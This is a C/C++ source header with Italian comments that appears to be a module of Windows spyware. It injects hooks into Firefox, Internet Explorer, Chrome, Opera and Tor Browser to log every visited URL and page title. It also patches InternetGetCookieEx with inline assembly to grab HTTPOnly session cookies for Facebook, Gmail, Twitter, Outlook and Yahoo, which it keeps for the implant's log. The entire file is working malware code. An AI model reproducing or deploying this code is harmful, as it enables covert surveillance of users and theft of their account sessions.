HM_UrlLog.h
#include <mshtml.h>
#include <oleacc.h>
#include <new>
#include "ISimpleDOMDocument.h"
#define MAXURLLEN 1024
#define MAXURLTITLELEN 256
BOOL bPM_UrlLogStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
WCHAR last_url[MAXURLLEN+2];
WCHAR last_window_title[MAXURLTITLELEN+2];
LPFNOBJECTFROMLRESULT pfObjectFromLresult = NULL;
BOOL m_url_found = FALSE;
#define URL_LOG_VER 0x20100713
typedef BOOL (WINAPI *IsWindow_t) (HWND);
typedef struct {
COMMONDATA;
IsWindow_t pIsWindow;
#define BROWSER_UNKNOWN 0x00000000
#define BROWSER_IE 0x00000001
#define BROWSER_MOZILLA 0x00000002
#define BROWSER_OPERA 0x00000003
#define BROWSER_CHROME 0x00000005
#define BROWSER_TYPE_MASK 0x3FFFFFFF
#define BROWSER_SETTITLE 0x80000000
DWORD browser_type;
} SendMessageURLStruct;
SendMessageURLStruct SendMessageURLData;
typedef struct {
DWORD browser_type;
HWND browser_window;
DWORD reason;
WCHAR title[MAXURLTITLELEN+1];
} UrlLogParamsStruct;
typedef struct _url_conf {
DWORD tag;
BOOL capture_screen;
} url_conf;
LRESULT __stdcall PM_SendMessageURL(HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(SendMessageURLStruct)
CALL_ORIGINAL_API(4)
Active = (BOOL *)pData->pHM_IpcCliRead(PM_URLLOG);
// Controlla se il monitor e' attivo e se la funzione e' andata a buon fine
if (!Active || !(*Active) || !ret_code)
return ret_code;
if (Msg == WM_SETTEXT && pData->pIsWindow(hWnd))
pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)&hWnd, 4, pData->browser_type | BROWSER_SETTITLE, IPC_DEF_PRIORITY);
return ret_code;
}
DWORD PM_SendMessageURL_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE h_usr;
// Verifica autonomamente se si tratta del processo firefox
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "firefox.exe") && stricmp(proc_name, "iexplore.exe") && stricmp(proc_name, "chrome.exe") && stricmp(proc_name, "tbb-firefox.exe"))
return 1; // Hooka solo firefox e iexplorer
} else
return 1;
if (!stricmp(proc_name, "firefox.exe"))
SendMessageURLData.browser_type = BROWSER_MOZILLA;
else if (!stricmp(proc_name, "iexplore.exe"))
SendMessageURLData.browser_type = BROWSER_IE;
else if (!stricmp(proc_name, "chrome.exe"))
SendMessageURLData.browser_type = BROWSER_CHROME;
else
SendMessageURLData.browser_type = BROWSER_UNKNOWN;
VALIDPTR(h_usr = LoadLibrary("User32.dll"));
VALIDPTR(SendMessageURLData.pIsWindow = (IsWindow_t)HM_SafeGetProcAddress(h_usr, "IsWindow"));
SendMessageURLData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
SendMessageURLData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
SendMessageURLData.dwHookLen = 800;
return 0;
}
BOOL __stdcall PM_SetWindowText(HWND hWnd,
BYTE *text)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(SendMessageURLStruct)
CALL_ORIGINAL_API(2)
Active = (BOOL *)pData->pHM_IpcCliRead(PM_URLLOG);
// Controlla se il monitor e' attivo e se la funzione e' andata a buon fine
if (!Active || !(*Active) || !ret_code)
return ret_code;
if ( pData->pIsWindow(hWnd))
pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)&hWnd, 4, pData->browser_type | BROWSER_SETTITLE, IPC_DEF_PRIORITY);
return ret_code;
}
DWORD PM_SetWindowText_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE h_usr;
// Verifica autonomamente se si tratta del processo ie
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "opera.exe") && stricmp(proc_name, "chrome.exe") && stricmp(proc_name, "iexplore.exe"))
return 1; // Hooka solo opera
} else
return 1;
if (!stricmp(proc_name, "opera.exe"))
SendMessageURLData.browser_type = BROWSER_OPERA;
else if (!stricmp(proc_name, "chrome.exe"))
SendMessageURLData.browser_type = BROWSER_CHROME;
else if (!stricmp(proc_name, "iexplore.exe"))
SendMessageURLData.browser_type = BROWSER_IE;
else
SendMessageURLData.browser_type = BROWSER_UNKNOWN;
VALIDPTR(h_usr = LoadLibrary("User32.dll"));
VALIDPTR(SendMessageURLData.pIsWindow = (IsWindow_t)HM_SafeGetProcAddress(h_usr, "IsWindow"));
SendMessageURLData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
SendMessageURLData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
SendMessageURLData.dwHookLen = 800;
return 0;
}
void WriteLogURL(WCHAR *url, UrlLogParamsStruct *pUrlLogParams, BOOL check_url)
{
BYTE url_buffer[sizeof(url_info_struct)+MAXURLLEN*sizeof(WCHAR)];
url_info_struct *url_info = (url_info_struct *)url_buffer;
url_info->uBrowserType = pUrlLogParams->browser_type;
if (!url)
return;
// Logghiamo solo i protocolli interessanti
if (check_url && wcsnicmp(url, L"http", 4) && wcsnicmp(url, L"ftp", 3))
return;
_snwprintf_s(url_info->url_name, MAXURLLEN, _TRUNCATE, L"%s", url);
if (!wcsncmp(last_url, url, MAXURLLEN) && !wcsncmp(last_window_title, pUrlLogParams->title, MAXURLTITLELEN))
return;
// In opera viene triggerato piu' volte. Se il titolo e' uguale o l'url e' uguale, allora e' una
// transizione di pagina
if (pUrlLogParams->browser_type == BROWSER_OPERA) {
if (!wcsncmp(last_url, url, MAXURLLEN) || !wcsncmp(last_window_title, pUrlLogParams->title, MAXURLTITLELEN))
return;
}
_snwprintf_s(last_url, MAXURLLEN, _TRUNCATE, L"%s", url);
_snwprintf_s(last_window_title, MAXURLTITLELEN, _TRUNCATE, L"%s", pUrlLogParams->title);
// Costruisce e scrive il log sequenziale
bin_buf tolog;
struct tm tstamp;
DWORD delimiter = ELEM_DELIMITER;
DWORD log_ver = URL_LOG_VER;
GET_TIME(tstamp);
tolog.add(&tstamp, sizeof(tstamp));
tolog.add(&log_ver, sizeof(DWORD));
tolog.add(url_info->url_name, (wcslen(url_info->url_name)+1)*sizeof(WCHAR));
tolog.add(&(pUrlLogParams->browser_type), sizeof(DWORD));
tolog.add(pUrlLogParams->title, (wcslen(pUrlLogParams->title)+1)*sizeof(WCHAR));
tolog.add(&delimiter, sizeof(DWORD));
LOG_ReportLog(PM_URLLOG, tolog.get_buf(), tolog.get_len());
}
BOOL isURL(WCHAR *url)
{
WCHAR *ptr;
ptr = wcschr(url, L'.');
if (!ptr)
return FALSE;
ptr++;
if ((*ptr) == 0 || (*ptr) == L'.')
return FALSE;
ptr++;
if (!wcschr(ptr, L'.') && !wcschr(ptr, L'//'))
return FALSE;
return TRUE;
}
void URLOleWalk(IAccessible* iAcc, UrlLogParamsStruct *pUrlLogParams, int deep)
{
HRESULT hr;
VARIANT vChild;
BSTR val;
LONG childCount, returnCount;
if (iAcc == NULL || m_url_found == TRUE || deep >= 100)
return;
vChild.vt = VT_I4;
vChild.lVal = CHILDID_SELF;
if (iAcc->get_accValue(vChild, &val) == S_OK) {
if (val) {
if (!wcsncmp(val, L"http", wcslen(L"http")) || (pUrlLogParams->browser_type == BROWSER_OPERA && isURL(val)) || (pUrlLogParams->browser_type == BROWSER_CHROME && isURL(val))) {
WriteLogURL(val, pUrlLogParams, FALSE);
m_url_found = TRUE;
SysFreeString(val);
return;
}
}
SysFreeString(val);
}
if (iAcc->get_accChildCount(&childCount) != S_OK)
return;
VARIANT* pArray = new(std::nothrow) VARIANT[childCount];
if (!pArray)
return;
hr = FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount);
if (FAILED(hr)) {
delete pArray;
return;
}
for(int x = 0; x < returnCount; x++){
VARIANT vtChild = pArray[x];
if (vtChild.vt == VT_DISPATCH) {
IDispatch* pDisp = vtChild.pdispVal;
IAccessible* pChild = NULL;
hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild);
if(hr == S_OK) {
// recurse
URLOleWalk(pChild, pUrlLogParams, deep+1);
pChild->Release();
}
}
}
for(int i = 0; i < returnCount; i++)
VariantClear(&pArray[i]);
if(pArray)
delete pArray;
}
BOOL CALLBACK URLEnumChildProc(HWND hwnd,LPARAM pUrlLogParams)
{
WCHAR buf[100];
BSTR url=NULL, doctype=NULL, title=NULL;
HRESULT hr;
if (FNC(GetClassNameW)( hwnd, (LPWSTR)&buf, sizeof(buf)/sizeof(buf[0]) ) == 0)
return TRUE;
if ( wcscmp( buf, L"Internet Explorer_Server" ) == 0) {
IHTMLDocument2 *spDoc = NULL;
LRESULT lRes;
UINT nMsg;
if ( !pfObjectFromLresult )
return FALSE;
nMsg = FNC(RegisterWindowMessageW)( L"WM_HTML_GETOBJECT" );
if ( !HM_SafeSendMessageTimeoutW( hwnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes ) )
return FALSE;
hr = (*pfObjectFromLresult)( lRes, IID_IHTMLDocument2, 0, reinterpret_cast<LPVOID *>(&spDoc) );
if ( SUCCEEDED(hr) && spDoc != NULL ) {
// Verifica che sia veramente quella attiva
hr = spDoc->get_title(&title);
if (SUCCEEDED(hr)) {
if (wcsncmp((WCHAR *)title, ((UrlLogParamsStruct *)pUrlLogParams)->title, wcslen((WCHAR *)title))) {
if (title)
SysFreeString(title);
spDoc->Release();
return TRUE;
}
if (title)
SysFreeString(title);
}
hr = spDoc->get_URL(&url);
if (SUCCEEDED(hr)) {
WriteLogURL(url, (UrlLogParamsStruct *)pUrlLogParams, TRUE);
if (url)
SysFreeString(url);
}
spDoc->Release();
}
return FALSE;
} else if ( wcscmp( buf, L"MozillaWindowClass" ) == 0 ) {
IAccessible *pAccessible = NULL;
IServiceProvider *pServProv = NULL;
ISimpleDOMDocument *pSimpleDOMDocument = NULL;
BOOL ret_val = TRUE;
hr = FNC(AccessibleObjectFromWindow)(hwnd, OBJID_CLIENT, IID_IAccessible,(void**)&pAccessible);
if (SUCCEEDED(hr) && pAccessible != NULL) {
pAccessible->QueryInterface(IID_IServiceProvider,(void**)&pServProv);
if (pServProv) {
const GUID refguid = {0x0c539790, 0x12e4, 0x11cf, 0xb6, 0x61, 0x00, 0xaa, 0x00, 0x4c, 0xd6, 0xd8};
hr = pServProv->QueryService(refguid, IID_ISimpleDOMDocument, (void**)&pSimpleDOMDocument);
if (SUCCEEDED(hr) && pSimpleDOMDocument != NULL) {
hr = pSimpleDOMDocument->get_URL(&url);
if (SUCCEEDED(hr)) {
hr = pSimpleDOMDocument->get_docType(&doctype);
if (!SUCCEEDED(hr))
doctype = NULL;
if (!doctype || wcscmp(doctype, L"window")) {
WriteLogURL(url, (UrlLogParamsStruct *)pUrlLogParams, TRUE);
ret_val = FALSE;
}
if (doctype)
SysFreeString(doctype);
if (url)
SysFreeString(url);
}
pSimpleDOMDocument->Release();
}
pServProv->Release();
}
pAccessible->Release();
}
// Se ha trovato un URL (firefox fino al 3) non continua a cercare
if (!ret_val)
return ret_val;
}
// Per Chrome, Opera o Firefox4
if ( wcscmp(buf, L"OpWindow")==0 || wcscmp(buf, L"OperaWindowClass")==0 || wcsncmp(buf, L"Chrome", wcslen(L"Chrome"))==0 || wcscmp( buf, L"MozillaWindowClass" )==0) {
IAccessible *iAcc = NULL;
m_url_found = FALSE; // Serve come semaforo per far fermare le funzioni ricorsive
hr = FNC(AccessibleObjectFromWindow)(hwnd, OBJID_WINDOW, IID_IAccessible,(void**)&iAcc);
if (SUCCEEDED(hr) && iAcc != NULL) {
URLOleWalk(iAcc, (UrlLogParamsStruct *)pUrlLogParams, 0);
iAcc->Release();
return !m_url_found;
}
return TRUE;
} else
return TRUE;// continua a cercare...
}
void GetURLBarContent(HWND hWnd, DWORD browser_type)
{
UrlLogParamsStruct UrlLogParams;
if (!hWnd)
return;
UrlLogParams.browser_type = browser_type & BROWSER_TYPE_MASK;
UrlLogParams.reason = browser_type & (~BROWSER_TYPE_MASK);
UrlLogParams.browser_window = hWnd;
memset(UrlLogParams.title, 0, sizeof(UrlLogParams.title));
HM_SafeGetWindowTextW(UrlLogParams.browser_window, UrlLogParams.title, MAXURLTITLELEN);
CoInitialize( NULL );
// Se non lo trova sulla finestra radice, allora cerca sui figli
if (URLEnumChildProc(hWnd, (LPARAM)&UrlLogParams))
FNC(EnumChildWindows)(hWnd, URLEnumChildProc, (LPARAM)&UrlLogParams);
CoUninitialize();
}
typedef WCHAR * (WINAPI *StrStrW_t) (WCHAR *, WCHAR *);
#define MAX_COOKIE_SIZE 2048
typedef struct {
COMMONDATA;
WCHAR local_cookie[MAX_COOKIE_SIZE];
StrStrW_t pStrStrW;
} InternetGetCookieExStruct;
InternetGetCookieExStruct InternetGetCookieExData;
#define WCSLEN(x,y) { y=0; for(;x[y];y++);}
#define COOKIE_IEXPLORER 0x0F000000
#define COOKIE_FACEBOOK 0x100
#define COOKIE_TWITTER 0x200
#define COOKIE_GMAIL 0x300
#define COOKIE_OUTLOOK 0x400
#define COOKIE_YAHOO 0x500
#define COOKIE_MASK 0xFFFF
BOOL __stdcall PM_InternetGetCookieEx(LPCWSTR lpszURL, LPCWSTR lpszCookieName, LPCWSTR lpszCookieData, LPDWORD lpdwSize, DWORD dwFlags, DWORD_PTR dwReserved)
{
DWORD ret_code;
DWORD name_len;
DWORD origin;
DWORD old_flags;
DWORD old_size;
WCHAR *old_buffer;
WCHAR *old_cname;
MARK_HOOK
INIT_WRAPPER(InternetGetCookieExStruct)
WCHAR facebook_url[] = { L'f', L'a', L'c', L'e', L'b', L'o', L'o', L'k', L'.', L'c', L'o', L'm', L'/', 0 };
WCHAR gmail_url[] = { L'm', L'a', L'i', L'l', L'.', L'g', L'o', L'o', L'g', L'l', L'e', L'.', L'c', L'o', L'm', L'/', 0 };
WCHAR twitter_url[] = { L't', L'w', L'i', L't', L't', L'e', L'r', L'.', L'c', L'o', L'm', L'/', 0 };
WCHAR outlook_url[] = { L'l', L'i', L'v', L'e', L'.', L'c', L'o', L'm', L'/', 0 };
WCHAR yahoo_url[] = { L'm', L'a', L'i', L'l', L'.', L'y', L'a', L'h', L'o', L'o', L'.', L'c', L'o', L'm', L'/', 0 };
DWORD local_size = MAX_COOKIE_SIZE-1;
WCHAR *local_cookie;
char *local_cookie_char;
DWORD i;
// Cerca di capire se si tratta di un dominio interessante
local_cookie = pData->local_cookie;
origin = COOKIE_IEXPLORER;
if (pData->pStrStrW && lpszCookieData && lpszURL && lpdwSize) {
if (pData->pStrStrW((WCHAR *)lpszURL, facebook_url))
origin |= COOKIE_FACEBOOK;
else if (pData->pStrStrW((WCHAR *)lpszURL, gmail_url))
origin |= COOKIE_GMAIL;
else if (pData->pStrStrW((WCHAR *)lpszURL, twitter_url))
origin |= COOKIE_TWITTER;
else if (pData->pStrStrW((WCHAR *)lpszURL, outlook_url))
origin |= COOKIE_OUTLOOK;
else if (pData->pStrStrW((WCHAR *)lpszURL, yahoo_url))
origin |= COOKIE_YAHOO;
}
if (!(origin & COOKIE_MASK)) {
CALL_ORIGINAL_API_SEQ(6)
return ret_code;
}
// Modifica il flag per prendere i cookie HTTPOnly
__asm {
PUSH EAX
MOV EAX, DWORD PTR [EBP+0x18]
MOV [old_flags], EAX
MOV EAX, DWORD PTR [EBP+0x14]
MOV [old_size], EAX
MOV EAX, DWORD PTR [EBP+0x10]
MOV [old_buffer], EAX
MOV EAX, DWORD PTR [EBP+0x0C]
MOV [old_cname], EAX
MOV EAX, 0x00002000
MOV DWORD PTR [EBP+0x18], EAX
LEA EAX, local_size
MOV DWORD PTR [EBP+0x14], EAX
MOV EAX, local_cookie
MOV DWORD PTR [EBP+0x10], EAX
XOR EAX, EAX
MOV DWORD PTR [EBP+0x0C], EAX
POP EAX
}
local_cookie[0] = 0;
CALL_ORIGINAL_API_SEQ(6)
if (ret_code) {
if (local_cookie[0] != 0) {
// Toglie gli zeri
local_cookie_char = (char *)local_cookie;
for (i=0; local_cookie[i]; i++)
local_cookie_char[i] = (char)local_cookie[i];
local_cookie_char[i] = 0;
WCSLEN(local_cookie_char, name_len);
if (name_len > 0) {
name_len++;
// Spero che tagliando rimanga la parte importante di cookie...
if (name_len > MAX_MSG_LEN)
name_len = MAX_MSG_LEN;
pData->pHM_IpcCliWrite(PM_URLLOG, (BYTE *)local_cookie_char, name_len, origin, IPC_DEF_PRIORITY);
}
}
}
// Rimette i parametri originali e richiama la funzione
__asm {
PUSH EAX
MOV EAX, [old_flags]
MOV DWORD PTR [EBP+0x18], EAX
MOV EAX, [old_size]
MOV DWORD PTR [EBP+0x14], EAX
MOV EAX, [old_buffer]
MOV DWORD PTR [EBP+0x10], EAX
MOV EAX, [old_cname]
MOV DWORD PTR [EBP+0x0C], EAX
POP EAX
}
CALL_ORIGINAL_API_SEQ(6)
return ret_code;
}
DWORD PM_InternetGetCookieEx_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "iexplore.exe"))
return 1; // Hooka solo iexplorer
} else
return 1;
VALIDPTR(hMod = LoadLibrary("Shlwapi.dll"))
VALIDPTR(InternetGetCookieExData.pStrStrW = (StrStrW_t) HM_SafeGetProcAddress(hMod, "StrStrW"))
ZeroMemory(InternetGetCookieExData.local_cookie, sizeof(InternetGetCookieExData.local_cookie));
InternetGetCookieExData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
InternetGetCookieExData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
InternetGetCookieExData.dwHookLen = 1000;
return 0;
}
DWORD __stdcall PM_UrlLogDispatch(BYTE * msg, DWORD dwLen, DWORD dwFlags, FILETIME *dummy)
{
DWORD origin = COOKIE_MASK;
DWORD size = sizeof(FACEBOOK_IE_COOKIE)-sizeof(char);
origin = dwFlags & (~origin);
if (dwLen < 4)
return 1;
if (origin == COOKIE_IEXPLORER) {
origin = dwFlags & COOKIE_MASK;
if (size > dwLen)
size = dwLen;
if (origin == COOKIE_FACEBOOK) {
ZeroMemory(FACEBOOK_IE_COOKIE, sizeof(FACEBOOK_IE_COOKIE));
memcpy(FACEBOOK_IE_COOKIE, msg, size);
} else if (origin == COOKIE_TWITTER) {
ZeroMemory(TWITTER_IE_COOKIE, sizeof(TWITTER_IE_COOKIE));
memcpy(TWITTER_IE_COOKIE, msg, size);
} else if (origin == COOKIE_GMAIL) {
ZeroMemory(GMAIL_IE_COOKIE, sizeof(GMAIL_IE_COOKIE));
memcpy(GMAIL_IE_COOKIE, msg, size);
} else if (origin == COOKIE_OUTLOOK) {
ZeroMemory(OUTLOOK_IE_COOKIE, sizeof(OUTLOOK_IE_COOKIE));
memcpy(OUTLOOK_IE_COOKIE, msg, size);
} else if (origin == COOKIE_YAHOO) {
ZeroMemory(YAHOO_IE_COOKIE, sizeof(YAHOO_IE_COOKIE));
memcpy(YAHOO_IE_COOKIE, msg, size);
}
return 1;
}
GetURLBarContent(*((HWND *)msg), dwFlags);
return 1;
}
DWORD __stdcall PM_UrlLogStartStop(BOOL bStartFlag, BOOL bReset)
{
// Lo fa per prima cosa, anche se e' gia' in quello stato
// Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf
// che li mette in stop non verrebbero fermati realmente a causa del check
// if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali.
// Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda
// durante la sync).
if (bReset)
AM_IPCAgentStartStop(PM_URLLOG, bStartFlag);
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_UrlLogStarted == bStartFlag)
return 0;
// I log va inizializzato come prima cosa...
if (bStartFlag) {
if (!LOG_InitAgentLog(PM_URLLOG))
return 0;
// Se non ha ancora la funzione, la alloca
if (!pfObjectFromLresult) {
HINSTANCE hInst = LoadLibrary("OLEACC.DLL");
pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)HM_SafeGetProcAddress( hInst, "ObjectFromLresult" );
}
}
// bStartFlag e' TRUE se il monitor deve essere attivato
bPM_UrlLogStarted = bStartFlag;
// ...e va chiuso come ultima
if (!bStartFlag)
LOG_StopAgentLog(PM_URLLOG);
return 1;
}
DWORD __stdcall PM_UrlLogInit(JSONObject elem)
{
ZeroMemory(last_url, sizeof(last_url));
ZeroMemory(last_window_title, sizeof(last_window_title));
return 1;
}
void PM_UrlLogRegister()
{
AM_MonitorRegister(L"url", PM_URLLOG, (BYTE *)PM_UrlLogDispatch, (BYTE *)PM_UrlLogStartStop, (BYTE *)PM_UrlLogInit, NULL);
}